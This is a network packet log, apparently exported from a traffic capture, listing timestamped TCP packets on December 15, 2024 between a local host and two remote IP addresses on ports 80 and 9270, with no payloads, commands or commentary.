Dec 15, 2024 11:59:34.100152969 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.100253105 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.100294113 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.101273060 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.101317883 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.101349115 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.101386070 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.102525949 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.102551937 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.102591991 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.102612972 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.103669882 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.103835106 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.103890896 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.104795933 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.104860067 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.104907036 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.104955912 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.106206894 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.106241941 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.106264114 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.106287956 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.107347012 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.107382059 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.107398033 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.107426882 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.108315945 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.108366966 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.108458042 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.108517885 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.109867096 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.109901905 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.109961033 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.110881090 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.110914946 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.110934973 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.110965014 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.112401962 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.112438917 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.112453938 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.112478971 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.113049984 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.113084078 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.113099098 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.113126993 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.114150047 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.114293098 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.114346027 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.115398884 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.115433931 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.115459919 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.115500927 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.116736889 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.116771936 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.116784096 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.116811991 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.117791891 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.117826939 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.117841005 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.117863894 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.118896008 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.119020939 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.119075060 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.120037079 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.120179892 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.120182037 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.120237112 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.121339083 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.121471882 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.121534109 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.122627974 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.122664928 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.122689009 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.122720957 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.123585939 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.123642921 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.123644114 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.123691082 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.124720097 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.124777079 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.124830961 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.124877930 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.125878096 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.125953913 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.126014948 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.127075911 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.127131939 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.127216101 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.127263069 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.128381014 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.128416061 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.128434896 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.128453970 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.129556894 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.129609108 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.129616022 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.130956888 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.130994081 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.131021023 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.131053925 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.132467985 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.132508039 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.132519960 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.132551908 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.133162022 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.133198023 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.133213043 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.133241892 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.134257078 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.134318113 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.134324074 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.134363890 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.135399103 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.135435104 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.135490894 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.137105942 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.137144089 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.137162924 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.137191057 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.137619019 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.137742996 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.137797117 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.139436007 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.139472008 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.139493942 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.139525890 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.140324116 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.140358925 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.140364885 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.140403032 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.141663074 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.141699076 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.141776085 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.143461943 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.143498898 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.143513918 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.143538952 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.143615961 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.143652916 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.143662930 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.143696070 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.144639015 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.144680977 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.144736052 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.144776106 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.146681070 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.146697998 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.146754026 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.147375107 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.147392035 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.147418976 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.147443056 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.148354053 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.148370981 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.148416996 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.149600983 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.149617910 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.149667978 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.150593996 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.150638103 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.150690079 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.150732994 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.151654005 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.151727915 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.151832104 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.151874065 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.153490067 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.153506994 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.153534889 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.153551102 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.154547930 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.154565096 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.154608011 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.155175924 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.155216932 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.155257940 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.155298948 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.156325102 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.156390905 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.156465054 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.156507969 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.157573938 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.157633066 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.157679081 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.158677101 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.158720016 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.158818007 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.158862114 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.159820080 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.159862995 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.291029930 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.291158915 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.291224957 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.291506052 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.291552067 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.291644096 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.291686058 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.292649984 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.292699099 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.292776108 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.292817116 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.293853998 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.294033051 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.294087887 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.295100927 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.295152903 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.295214891 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.295260906 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.296191931 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.296260118 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.296302080 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.296456099 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.297393084 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.297599077 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.297636986 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.297679901 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.298600912 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.298660994 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.298666954 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.298762083 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.299721956 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.299861908 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.299909115 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.300873995 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.300968885 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.300997019 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.301037073 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.302025080 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.302130938 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.302176952 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.303349018 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.303399086 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.303406000 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.303447008 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.304367065 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.304414034 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.304491997 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.304537058 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.305630922 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.305752993 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.305799007 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.306885958 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.306931973 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.306937933 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.306977987 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.307938099 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.307993889 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.308064938 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.308228016 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.309051991 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.309096098 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.309206963 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.309251070 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.310226917 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.310272932 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.310435057 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.310476065 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.311405897 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.311450005 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.311532021 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.311573029 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.312556028 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.312659979 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.312691927 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.312731028 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.313931942 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.313986063 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.314040899 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.314080000 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.315222979 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.315278053 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.315298080 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.315453053 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.316364050 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.316406012 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.316416025 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.316462040 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.317698002 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.317773104 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.317847013 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.317892075 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.318757057 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.318862915 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.318909883 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.319859028 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.319946051 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.319952965 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.319988966 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.320904016 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.320956945 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.321084976 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:34.321264029 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:34.473597050 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:34.473763943 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:34.593399048 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:34.593540907 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:34.671351910 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:34.671427011 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:34.791276932 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:34.791332960 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:34.812774897 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:34.812884092 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:34.932957888 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:34.933022976 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:34.961813927 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:34.962894917 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:35.081921101 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:35.082005978 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:35.082679987 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:35.082731962 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:35.204343081 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:35.204427958 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:35.204607010 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:35.204653025 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:35.325644970 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:35.325700045 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:35.325803041 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:35.327213049 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:35.446218967 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:35.447981119 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:35.500648975 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:35.515925884 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:35.621509075 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:35.622673988 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:35.636415958 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:35.636467934 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:35.742830992 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:35.743772984 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:35.756439924 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:35.757608891 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:35.866039038 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:35.877540112 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:35.899431944 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:35.901257992 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:36.019923925 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:36.021159887 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:36.030900002 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:36.033757925 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:36.150995016 CET	9270	49826	89.23.100.42	192.168.2.4
